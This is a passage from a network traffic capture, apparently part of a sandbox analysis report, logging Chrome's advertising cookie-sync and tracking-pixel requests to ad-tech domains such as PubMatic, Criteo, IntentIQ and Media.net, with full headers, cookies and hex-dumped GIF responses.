2024-01-10 23:27:28 UTC	675	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-ayl=80df0390ac1a08301112e6851cc561f4~~1;Expires=Mon, 08 Jul 2024 23:27:28 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:28 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:28 GMT Connection: close
2024-01-10 23:27:28 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:28 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
627	192.168.2.4	50457	13.249.39.70	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	779	OUT	GET /profiles_engine/ProfilesEngineServlet?at=20&mi=10&dpi=793790479&3rddpi=1725065545&3rdpcid=LR8EUG12-1F-5JG4&ckls=true&ci=OTFG5Uc4GZ&nc=false&trid=1840002933 HTTP/1.1 Host: sync1.intentiq.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IQver=1.9; intentIQ=OTFG5Uc4GZ
2024-01-10 23:27:28 UTC	1334	IN	HTTP/1.1 200 Content-Type: image/gif Content-Length: 43 Connection: close Date: Wed, 10 Jan 2024 23:27:28 GMT Set-Cookie: ASDT=0; Domain=.intentiq.com; Expires=Fri, 09 Jan 2026 23:27:28 GMT; Path=/; Secure; SameSite=None P3P: CP="NOI DSP COR NID CURa ADMo TAIa PSAo PSDo OUR SAMo BUS UNI PUR COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: intentIQCDate=1704929248424; Domain=.intentiq.com; Expires=Fri, 09 Jan 2026 23:27:28 GMT; Path=/; Secure; SameSite=None Set-Cookie: IQver=1.9; Domain=.intentiq.com; Expires=Fri, 09 Jan 2026 23:27:28 GMT; Path=/; Secure; SameSite=None Set-Cookie: IQPData=1722101802#1704929248422#0#1704929248422; Domain=.intentiq.com; Expires=Fri, 09 Jan 2026 23:27:28 GMT; Path=/; Secure; SameSite=None Set-Cookie: CSDT=UEQ6MTUxMDZfMCZVMTBQTk5h; Domain=.intentiq.com; Expires=Fri, 09 Jan 2026 23:27:28 GMT; Path=/; Secure; SameSite=None Set-Cookie: intentIQ=OTFG5Uc4GZ; Domain=.intentiq.com; Expires=Fri, 09 Jan 2026 23:27:28 GMT; Path=/; Secure; SameSite=None Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Cache: Miss from cloudfront Via: 1.1 50f5f6b4e0025748bb74dce1db44c750.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD89-C1 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: vkaGH94kkhDj-s3qKoT2JnaW8RwFuHUje0suVWincYaBgSuXCCfzbw==
2024-01-10 23:27:28 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
628	192.168.2.4	50456	162.248.18.34	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	3691	OUT	GET /AdServer/SPug?partnerID=159463&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: simage4.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; PugT=1704929246; chkChromeAb67Sec=4; pi=159463:4; DPSync3=1705449600%3A253_252_265%7C1704931200%3A248_255%7C1705881600%3A257%7C1706054400%3A260_201_261_262_256_245_263_258_236_259; SyncRTB3=1706054400%3A56_233_13_250_71_166_178_8_234_220_176_81_3_21_96_264_99_240_55_48_54_243_104_5_46_238_231_249_165_7_214_22%7C1705708800%3A63%7C1706140800%3A35%7C1705449600%3A223_2_15_38%7C1707436800%3A224%7C1710028800%3A69; SPugT=1704929247
2024-01-10 23:27:28 UTC	408	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:28 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: SPugT=1704929248; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:28 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
629	192.168.2.4	50458	74.119.119.150	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	924	OUT	GET /dis/usersync.aspx?r=3&p=4&cp=pubmaticUS&cu=1&&gdpr=0&gdpr_consent=&url=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&piggybackCookie=uid:@@CRITEO_USERID@@ HTTP/1.1 Host: dis.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uid=94a96463-4da4-468a-ab35-7f2fcadb375f
2024-01-10 23:27:28 UTC	531	IN	HTTP/1.1 302 Found content-length: 0 date: Wed, 10 Jan 2024 23:27:27 GMT server: Kestrel cache-control: no-cache expires: Wed, 10 Jan 2024 00:00:00 GMT location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&gdpr=0&gdpr_consent= pragma: no-cache x-errorlevel: 0 p3p: CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA" cross-origin-resource-policy: cross-origin server-processing-duration-in-ticks: 775629 strict-transport-security: max-age=31536000; preload; connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
630	192.168.2.4	50460	104.18.24.173	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	965	OUT	GET /i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID} HTTP/1.1 Host: a.tribalfusion.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ANON_ID=aNntuJyg6AbrA7u8PVN85DadusGpYhXKGFFlJxMr7SX8Zb75Ue95HAxwWAKD2ysU17jbLG6Ljpl2cdr7EhG1Za6IDK
2024-01-10 23:27:28 UTC	815	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:28 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 43 Connection: close P3P: CP="NOI DEVo TAIa OUR BUS" X-Function: 302 Cache-Control: no-cache Cache-Control: private Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Set-Cookie: ANON_ID=a0nteZbS3n0gryoxDmHmSWkCcYcLD3AR1koEyMGtsAJ3Gbg2caQ1cOVH9MY4iknptC0ULNkflyZdYqGcUtmIk5bMEbftZdtARui; path=/; domain=.tribalfusion.com; expires=Tue, 09-Apr-2024 23:27:28 GMT; SameSite=None; Secure; Set-Cookie: ANON_ID_old=a0nteZbS3n0gryoxDmHmSWkCcYcLD3AR1koEyMGtsAJ3Gbg2caQ1cOVH9MY4iknptC0ULNkflyZdYqGcUtmIk5bMEbftZdtARui; path=/; domain=.tribalfusion.com; expires=Tue, 09-Apr-2024 23:27:28 GMT; CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8438b0db482f058e-IAD alt-svc: h3=":443"; ma=86400
2024-01-10 23:27:28 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 02 02 44 01 00 3b Data Ascii: GIF89a!,@D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
631	192.168.2.4	50463	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	1508	OUT	GET /cksync.php?cs=8&vsid=3479308330180239000V10&type=pba&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4 HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1; data-xu=Rw6Yt2Jl1RnHYF5~~8; data-co=AAAHl1xS8mtEBQMjNkpRAAAAAAA~~8; data-ze=v79p4FQcaoSFEzqKnYP-~~1; data-c-ts=1704929240; data-o=b6718352-3281-0abd-1f7e-c94ddda5ae48~~8; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-r=LR8EUG12-1F-5JG4~~1; data-r1=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005~~8; data-pba=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~8; data-bs=f6435827-796b-4521-81e9-11e581628f69~~1
2024-01-10 23:27:29 UTC	646	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-pba=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~8;Expires=Thu, 09 Jan 2025 23:27:28 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:29 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:29 GMT Connection: close
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:29 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
632	192.168.2.4	50465	8.28.7.83	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	3885	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyMDImdGw9MTI5NjAw&piggybackCookie=e9qoKPUsCQSvHM9C2yefZQ HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; PugT=1704929246; chkChromeAb67Sec=4; pi=159463:4; DPSync3=1705449600%3A253_252_265%7C1704931200%3A248_255%7C1705881600%3A257%7C1706054400%3A260_201_261_262_256_245_263_258_236_259; SyncRTB3=1706054400%3A56_233_13_250_71_166_178_8_234_220_176_81_3_21_96_264_99_240_55_48_54_243_104_5_46_238_231_249_165_7_214_22%7C1705708800%3A63%7C1706140800%3A35%7C1705449600%3A223_2_15_38%7C1707436800%3A224%7C1710028800%3A69; SPugT=1704929247
2024-01-10 23:27:28 UTC	621	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 12:37:40 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 12:37:40 GMT; path=/ Set-Cookie: PugT=1704890260; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 12:37:40 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:28 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
633	192.168.2.4	50467	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:28 UTC	3907	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyMDMmdGw9NDMyMDA=&piggybackCookie=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005 HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; 